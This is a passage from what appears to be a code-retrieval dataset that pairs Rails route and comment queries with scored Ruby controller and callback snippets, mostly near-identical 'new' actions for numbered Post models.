order.supplier ? \"*\" : \"\"\n _array = _array << [i.id, prices.product.full_code, i.description, number_with_precision(i.net_price.round(4), precision: 4),\n prices.supplier.partial_name, number_with_precision(prices.net_price.round(4), precision: 4), _is_current_price]\n end\n end\n end\n render json: _array.to_json\n end", "title": "" } ]
a45206bf65434c073b2e1c71c19be1b6
GET /post227s/new GET /post227s/new.xml
[ { "docid": "5ac7a21f71677b6316841b052d38f924", "score": "0.7577785", "text": "def new\n @post227 = Post227.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post227 }\n end\n end", "title": "" } ]
[ { "docid": "e62bc68ab06a9acae0a40532873ee65c", "score": "0.74014485", "text": "def new\n @post101 = Post101.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post101 }\n end\n end", "title": "" }, { "docid": "efc7a1f3b0ee83a8e72c531d39e5649e", "score": "0.7401392", "text": "def new\n @post57 = Post57.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post57 }\n end\n end", "title": "" }, { "docid": "3955ab2d0300694b27c7bd5052db9318", "score": "0.73720586", "text": "def new\n @post181 = Post181.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post181 }\n end\n end", "title": "" }, { "docid": "87736905e41d95a27dd9316fc3ca5c70", "score": "0.73650944", "text": "def new\n @post55 = Post55.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post55 }\n end\n end", "title": "" }, { "docid": "dcc594ad2f345cf602666dfdb21c1ffa", "score": "0.73577833", "text": "def new\n @post125 = Post125.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post125 }\n end\n end", "title": "" }, { "docid": "9cbdb66f7bae89c88455c467cc7f1d26", "score": "0.73546", "text": "def new\n @post105 = Post105.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post105 }\n end\n end", "title": "" }, { "docid": "850b9b1ecb72d16ce9d6459d00a509f6", "score": "0.73507947", "text": "def new\n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n make_rss\n end", "title": "" }, { "docid": "674f54c6e8faf399d0178a8f1c4069f4", "score": "0.73419166", "text": "def new\n @post197 = Post197.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post197 }\n end\n end", "title": "" }, { "docid": "dc0736e80804b3acaf061149c90208ec", "score": "0.73353195", "text": "def new\n @post306 = Post306.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post306 }\n end\n end", "title": "" }, { "docid": "9bb8c7fbda6e32237381d8f330c62046", "score": "0.7331423", "text": "def new\n @post295 = Post295.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post295 }\n end\n end", "title": "" }, { "docid": "c935c0d083119d31a77e4b602e7be373", "score": "0.7329924", "text": "def new\n @post275 = Post275.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post275 }\n end\n end", "title": "" }, { "docid": "66aa05b144e3febe40a1a0a4da1e629d", "score": "0.7329594", "text": "def new\n @post168 = Post168.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post168 }\n end\n end", "title": "" }, { "docid": "2eedf3e51b7dbee415432342614f3cda", "score": "0.73292106", "text": "def new\n @post75 = Post75.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post75 }\n end\n end", "title": "" }, { "docid": "9674a26f4c2aa2554130ee5a83517247", "score": "0.7328629", "text": "def new\n @post253 = Post253.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post253 }\n end\n end", "title": "" }, { "docid": "4256be3ea24f5980408e047c0ad46571", "score": "0.73156637", "text": "def new\n @post257 = Post257.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post257 }\n end\n end", "title": "" }, { "docid": "8c0cfb5050ca917e0ec70c01dc7963a8", "score": "0.73115355", "text": "def new\n @post110 = Post110.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post110 }\n end\n end", "title": "" }, { "docid": "f5d2c9f2e642e68e0efd8cba80b14c79", "score": "0.7309052", "text": "def new\n @post109 = Post109.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post109 }\n end\n end", "title": "" }, { "docid": "a76247c141b2bb70d83b8e310d5ef604", "score": "0.73080206", "text": "def new\n @post156 = Post156.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post156 }\n end\n end", "title": "" }, { "docid": "06f01c482515f0a0a3e723849f8f6719", "score": "0.73008686", "text": "def new\n @post78 = Post78.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post78 }\n end\n end", "title": "" }, { "docid": "e73ae7b29de03450cb8f85bc1025754a", "score": "0.7295104", "text": "def new\n @post246 = Post246.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post246 }\n end\n end", "title": "" }, { "docid": "76d96b42e1cda75c5cf729e058b3111e", "score": "0.729304", "text": "def new\n @post182 = Post182.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post182 }\n end\n end", "title": "" }, { "docid": "a47341627373c28754ce87edae8d586e", "score": "0.7290171", "text": "def new\n @post74 = Post74.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post74 }\n end\n end", "title": "" }, { "docid": "3dddf4f156cbe7ecfe69efa8b8cdd835", "score": "0.72898006", "text": "def new\n @post150 = Post150.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post150 }\n end\n end", "title": "" }, { "docid": "9f7d3496b1000b3aa6e790297cd420dd", "score": "0.7268767", "text": "def new\n @post183 = Post183.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post183 }\n end\n end", "title": "" }, { "docid": "3fca8c422632fd62c047899431374771", "score": "0.72654563", "text": "def new\n @post117 = Post117.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post117 }\n end\n end", "title": "" }, { "docid": "e8969d768adb243d5313d8d5a12aa138", "score": "0.7262381", "text": "def new\n @post120 = Post120.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post120 }\n end\n end", "title": "" }, { "docid": "725f7d746e2a6315ea6c842c23359a91", "score": "0.7259902", "text": "def new\n @post149 = Post149.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post149 }\n end\n end", "title": "" }, { "docid": "0b8c7474012e4c995c35a68662c7dd72", "score": "0.72562426", "text": "def new\n @post54 = Post54.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post54 }\n end\n end", "title": "" }, { "docid": "4869c896d823a1bab4529d45b3f964a0", "score": "0.7253491", "text": "def new\n @post85 = Post85.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post85 }\n end\n end", "title": "" }, { "docid": "b839e86a3bc8711db79c1064783595e2", "score": "0.7252059", "text": "def new\n @post231 = Post231.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post231 }\n end\n end", "title": "" }, { "docid": "2db535ba86493bfcb7cd2ddc8c61faf3", "score": "0.7250078", "text": "def new\n @post221 = Post221.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post221 }\n end\n end", "title": "" }, { "docid": "5e05d1ae2335e3243a64e75cd24d89d9", "score": "0.72467786", "text": "def new\n @post107 = Post107.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post107 }\n end\n end", "title": "" }, { "docid": "44305ea32fd1d666f546d048e73fc130", "score": "0.7246453", "text": "def new\n @post342 = Post342.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post342 }\n end\n end", "title": "" }, { "docid": "bb7b77409b7aedcbac5fabf83ab41b55", "score": "0.7240848", "text": "def new\n @post245 = Post245.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post245 }\n end\n end", "title": "" }, { "docid": "60bdabb96bedc36c80857a35e6447471", "score": "0.7239277", "text": "def new\n @post335 = Post335.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post335 }\n end\n end", "title": "" }, { "docid": "fbb0a80b7f26aa6e7dc8a3a843d2ecc4", "score": "0.72392184", "text": "def new\n @post50 = Post50.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post50 }\n end\n end", "title": "" }, { "docid": "fe2bd2801d5076da06562302b7a179fc", "score": "0.7238231", "text": "def new\n @post99 = Post99.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post99 }\n end\n end", "title": "" }, { "docid": "39816c56211cd9f022633e142cea7134", "score": "0.72381043", "text": "def new\n @post297 = Post297.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post297 }\n end\n end", "title": "" }, { "docid": "5183b2091c4fd74c60fdac07443dbcaa", "score": "0.72357064", "text": "def new\n @post350 = Post350.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post350 }\n end\n end", "title": "" }, { "docid": "1e28d77990b7b49636898eb516c6b35f", "score": "0.723496", "text": "def new\n @post217 = Post217.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post217 }\n end\n end", "title": "" }, { "docid": "15430ea7f5a97365a2caa2c3361d919c", "score": "0.7227751", "text": "def new\n @post328 = Post328.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post328 }\n end\n end", "title": "" }, { "docid": "656592ac70d46b080d2220a3f3147492", "score": "0.72272307", "text": "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end", "title": "" }, { "docid": "575d2b069f1511b58d2ab69230e08d88", "score": "0.72264457", "text": "def new\n @post77 = Post77.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post77 }\n end\n end", "title": "" }, { "docid": "05fd6d53be5cf774e66f7da3488acc36", "score": "0.7223979", "text": "def new\n @post157 = Post157.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post157 }\n end\n end", "title": "" }, { "docid": "9175ecc3838feb88fc164b64f2d4d784", "score": "0.722154", "text": "def new\n @post260 = Post260.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post260 }\n end\n end", "title": "" }, { "docid": "77cbb2a906165e479166501f2458073f", "score": "0.7221405", "text": "def new\n @post445 = Post445.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post445 }\n end\n end", "title": "" }, { "docid": "343c5545dccb98b17ecf920afda7bb1e", "score": "0.72200364", "text": "def new\n @post154 = Post154.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post154 }\n end\n end", "title": "" }, { "docid": "8128f429c68e10ba3fe953d14a55a0d5", "score": "0.721939", "text": "def new\n @post193 = Post193.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post193 }\n end\n end", "title": "" }, { "docid": "f5bd47aef312de0ecbacb3ae3b599086", "score": "0.721392", "text": "def new\n @post184 = Post184.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post184 }\n end\n end", "title": "" }, { "docid": "a4cf965d2d0c35988249e4b88836aa9f", "score": "0.7213895", "text": "def new\n @post273 = Post273.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post273 }\n end\n end", "title": "" }, { "docid": "28e2b92f23a02ca2d406564c65d0a7e3", "score": "0.7209856", "text": "def new\n @post65 = Post65.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post65 }\n end\n end", "title": "" }, { "docid": "626819e62342d38a8ac56c9e3a3792d3", "score": "0.7208396", "text": "def new\n @post130 = Post130.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post130 }\n end\n end", "title": "" }, { "docid": "c14444e17f5b95ca00ed365ab0e06b53", "score": "0.720755", "text": "def new\n @post267 = Post267.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post267 }\n end\n end", "title": "" }, { "docid": "ba3ce0d4aab6657bb241ee5d4bf6f8ac", "score": "0.7202783", "text": "def new\n @post196 = Post196.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post196 }\n end\n end", "title": "" }, { "docid": "03c1c98d1ba56003aa5ba8854713ae1c", "score": "0.72016287", "text": "def new\n @post310 = Post310.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post310 }\n end\n end", "title": "" }, { "docid": "1935d6047654b66e25b17da67d79c4a9", "score": "0.7197393", "text": "def new\n @post321 = Post321.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post321 }\n end\n end", "title": "" }, { "docid": "ee394669be79df65be45f69b397d69fd", "score": "0.7194516", "text": "def new\n @post284 = Post284.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post284 }\n end\n end", "title": "" }, { "docid": "a4942325b78762839dbcd1ddf2ce4ed6", "score": "0.7194355", "text": "def new\n @post230 = Post230.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post230 }\n end\n end", "title": "" }, { "docid": "83ead00f1f0fd3b6e84c3e0a37cb5f32", "score": "0.7194322", "text": "def new\n @post133 = Post133.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post133 }\n end\n end", "title": "" }, { "docid": "ca95fbf02048694e2a06828eb0dd752d", "score": "0.71876115", "text": "def new\n @post122 = Post122.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post122 }\n end\n end", "title": "" }, { "docid": "dbd5bd304ea0ac3724321b132c2bbb2a", "score": "0.7179096", "text": "def new\n @post272 = Post272.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post272 }\n end\n end", "title": "" }, { "docid": "2032024c90ace7d480732042e402fbfa", "score": "0.7177027", "text": "def new\n @post58 = Post58.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post58 }\n end\n end", "title": "" }, { "docid": "12b181a23954e2026185a044b62ea54e", "score": "0.7176916", "text": "def new\n @post33 = Post33.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post33 }\n end\n end", "title": "" }, { "docid": "04f3dfb8f1798042b58b22b99067bc45", "score": "0.7176664", "text": "def new\n @post129 = Post129.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post129 }\n end\n end", "title": "" }, { "docid": "467932b6685f77b6db301a4a7856dc15", "score": "0.71734613", "text": "def new\n @post143 = Post143.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post143 }\n end\n end", "title": "" }, { "docid": "c3d316c44d5ac678e3d68a5c0c98f537", "score": "0.7166286", "text": "def new\n @post215 = Post215.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post215 }\n end\n end", "title": "" }, { "docid": "469171886c7600e45e0a8b379c14db4a", "score": "0.71644163", "text": "def new\n @post106 = Post106.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post106 }\n end\n end", "title": "" }, { "docid": "0c12869f250fc6cc2542966c9d9a8580", "score": "0.7162242", "text": "def new\n @post228 = Post228.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post228 }\n end\n end", "title": "" }, { "docid": "b945c53fa16ecb22ddebc2a7d6760421", "score": "0.715879", "text": "def new\n @post81 = Post81.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post81 }\n end\n end", "title": "" }, { "docid": "62bf70e71a2dbe969d6d1aae861739c3", "score": "0.71561795", "text": "def new\n @post290 = Post290.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post290 }\n end\n end", "title": "" }, { "docid": "89fe3593fe398569b3361c8f8272187c", "score": "0.71549106", "text": "def new\n @post251 = Post251.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post251 }\n end\n end", "title": "" }, { "docid": "7053e24d255578a46fe2be27fa47f701", "score": "0.7153892", "text": "def new\n @post139 = Post139.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post139 }\n end\n end", "title": "" }, { "docid": "581f3a864eef08010945958793bab587", "score": "0.7147902", "text": "def new\n @post483 = Post483.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post483 }\n end\n end", "title": "" }, { "docid": "59d51b77b7f5c91b6d7cc989a1170d5d", "score": "0.71385276", "text": "def new\n @post453 = Post453.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post453 }\n end\n end", "title": "" }, { "docid": "26dfda9165f60ea95bac688eee9eeeb4", "score": "0.7137175", "text": "def new\n @post377 = Post377.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post377 }\n end\n end", "title": "" }, { "docid": "512c11173f4d71749fb303a520db97b8", "score": "0.71356404", "text": "def new\n @post425 = Post425.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post425 }\n end\n end", "title": "" }, { "docid": "e75fbefc2b87d00701d142e3f2492d01", "score": "0.7135318", "text": "def new\n @post349 = Post349.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post349 }\n end\n end", "title": "" }, { "docid": "faa3b2133a0361c2b62832692d8a5249", "score": "0.7132242", "text": "def new\n @post134 = Post134.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post134 }\n end\n end", "title": "" }, { "docid": "e79892debbef6dd528d5a9ea45bafc82", "score": "0.7124419", "text": "def new\n @post191 = Post191.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post191 }\n end\n end", "title": "" }, { "docid": "c0ee8fac2725dd842c3ad782e13303b9", "score": "0.7123662", "text": "def new\n @post59 = Post59.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post59 }\n end\n end", "title": "" }, { "docid": "6d40bc9dbe15600b3f42aa0b7cd6c93d", "score": "0.7119686", "text": "def new\n @post10 = Post10.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post10 }\n end\n end", "title": "" }, { "docid": "db0ce99ff42c481c2588f95713108f32", "score": "0.7116958", "text": "def new\n @post276 = Post276.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post276 }\n end\n end", "title": "" }, { "docid": "54e2298ab9f0fd18ff6182b979b7802a", "score": "0.71127504", "text": "def new\n @post41 = Post41.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post41 }\n end\n end", "title": "" }, { "docid": "6c5662968680b46c4cb6a72705698bd3", "score": "0.7110749", "text": "def new\n @post174 = Post174.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post174 }\n end\n end", "title": "" }, { "docid": "b36052e4587e242346d37de20d8b65d2", "score": "0.7109356", "text": "def new\n @post358 = Post358.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post358 }\n end\n end", "title": "" }, { "docid": "0f9c54147e600b2dcfe2f7611aeeeb3f", "score": "0.70971715", "text": "def new\n @post436 = Post436.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post436 }\n end\n end", "title": "" }, { "docid": "7dd35c61f345c638a95f55a03fcacfbd", "score": "0.7095416", "text": "def new\n @post281 = Post281.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post281 }\n end\n end", "title": "" }, { "docid": "fe711a65b5f2f0c785c920c9573e495b", "score": "0.7094658", "text": "def new\n @post305 = Post305.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post305 }\n end\n end", "title": "" }, { "docid": "00cc4817c01befc9b4af3a241749789c", "score": "0.70924413", "text": "def new\n @post248 = Post248.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post248 }\n end\n end", "title": "" }, { "docid": "9823be306354179ad3142cacf7b40963", "score": "0.709023", "text": "def new\n @post459 = Post459.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post459 }\n end\n end", "title": "" }, { "docid": "e9276c96979bf210a7db19f59799536a", "score": "0.708651", "text": "def new\n @post32 = Post32.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post32 }\n end\n end", "title": "" }, { "docid": "9599b99da7ed3d2b482c544ea906977c", "score": "0.7083448", "text": "def new\n \n @post = Post.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end", "title": "" }, { "docid": "426c737ce3859e5fae31b133fd389627", "score": "0.7075734", "text": "def new\n @post409 = Post409.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post409 }\n end\n end", "title": "" }, { "docid": "d0a0723fa2769fc9e86ed778252d22b3", "score": "0.70735", "text": "def new\n @post385 = Post385.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post385 }\n end\n end", "title": "" }, { "docid": "1f9183bab2f70ea0a9381c6088901b2d", "score": "0.70724195", "text": "def new\n @post21 = Post21.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post21 }\n end\n end", "title": "" }, { "docid": "d6bc3371b79afe9881a34b06eadf0df4", "score": "0.707146", "text": "def new\n @post288 = Post288.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post288 }\n end\n end", "title": "" }, { "docid": "b52df056a32863bf7af1c1e3cb019277", "score": "0.7069691", "text": "def new\n @post68 = Post68.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post68 }\n end\n end", "title": "" }, { "docid": "56c3ee10593f15921fdeeefdd4e3a7b3", "score": "0.7068967", "text": "def new\n @post489 = Post489.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post489 }\n end\n end", "title": "" }, { "docid": "0821d5d9c9668afa6664cea694ea3019", "score": "0.706704", "text": "def new\n @post369 = Post369.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post369 }\n end\n end", "title": "" }, { "docid": "923329748a51261649eb6abcb80dbef7", "score": "0.7061028", "text": "def new\n @post322 = Post322.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post322 }\n end\n end", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "10426658d0a72fb44b301c65203f801e", "score": "0.0", "text": "def set_stripe_subscription\n @stripe_subscription = StripeSubscription.find(params[:id])\n end", "title": "" } ]
[ { "docid": "bd89022716e537628dd314fd23858181", "score": "0.6163163", "text": "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "title": "" }, { "docid": "3db61e749c16d53a52f73ba0492108e9", "score": "0.6045976", "text": "def action_hook; end", "title": "" }, { "docid": "b8b36fc1cfde36f9053fe0ab68d70e5b", "score": "0.5946146", "text": "def run_actions; end", "title": "" }, { "docid": "3e521dbc644eda8f6b2574409e10a4f8", "score": "0.591683", "text": "def define_action_hook; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.5890051", "text": "def actions; end", "title": "" }, { "docid": "bfb8386ef5554bfa3a1c00fa4e20652f", "score": "0.58349305", "text": "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "title": "" }, { "docid": "6c8e66d9523b9fed19975542132c6ee4", "score": "0.5776858", "text": "def add_actions; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703237", "text": "def callbacks; end", "title": "" }, { "docid": "6ce8a8e8407572b4509bb78db9bf8450", "score": "0.5652805", "text": "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "title": "" }, { "docid": "1964d48e8493eb37800b3353d25c0e57", "score": "0.5621621", "text": "def define_action_helpers; end", "title": "" }, { "docid": "5df9f7ffd2cb4f23dd74aada87ad1882", "score": "0.54210985", "text": "def post_setup\n end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.5411113", "text": "def action_methods; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5391541", "text": "def before_setup; end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53794575", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.5357573", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "0464870c8688619d6c104d733d355b3b", "score": "0.53402257", "text": "def define_action_helpers?; end", "title": "" }, { "docid": "0e7bdc54b0742aba847fd259af1e9f9e", "score": "0.53394014", "text": "def set_actions\n actions :all\n end", "title": "" }, { "docid": "5510330550e34a3fd68b7cee18da9524", "score": "0.53321576", "text": "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "title": "" }, { "docid": "97c8901edfddc990da95704a065e87bc", "score": "0.53124547", "text": "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "title": "" }, { "docid": "4f9a284723e2531f7d19898d6a6aa20c", "score": "0.529654", "text": "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "title": "" }, { "docid": "83684438c0a4d20b6ddd4560c7683115", "score": "0.5296262", "text": "def before_actions(*logic)\n self.before_actions = logic\n end", "title": "" }, { "docid": "210e0392ceaad5fc0892f1335af7564b", "score": "0.52952296", "text": "def setup_handler\n end", "title": "" }, { "docid": "a997ba805d12c5e7f7c4c286441fee18", "score": "0.52600986", "text": "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "1d50ec65c5bee536273da9d756a78d0d", "score": "0.52442724", "text": "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.52385926", "text": "def action; end", "title": "" }, { "docid": "635288ac8dd59f85def0b1984cdafba0", "score": "0.5232394", "text": "def workflow\n end", "title": "" }, { "docid": "e34cc2a25e8f735ccb7ed8361091c83e", "score": "0.523231", "text": "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "title": "" }, { "docid": "78b21be2632f285b0d40b87a65b9df8c", "score": "0.5227454", "text": "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52226824", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "923ee705f0e7572feb2c1dd3c154b97c", "score": "0.52201617", "text": "def process_action(...)\n send_action(...)\n end", "title": "" }, { "docid": "b89a3908eaa7712bb5706478192b624d", "score": "0.5212327", "text": "def before_dispatch(env); end", "title": "" }, { "docid": "7115b468ae54de462141d62fc06b4190", "score": "0.52079266", "text": "def after_actions(*logic)\n self.after_actions = logic\n end", "title": "" }, { "docid": "d89a3e408ab56bf20bfff96c63a238dc", "score": "0.52050185", "text": "def setup\n # override and do something appropriate\n end", "title": "" }, { "docid": "62c402f0ea2e892a10469bb6e077fbf2", "score": "0.51754695", "text": "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "title": "" }, { "docid": "72ccb38e1bbd86cef2e17d9d64211e64", "score": "0.51726824", "text": "def setup(_context)\n end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51710224", "text": 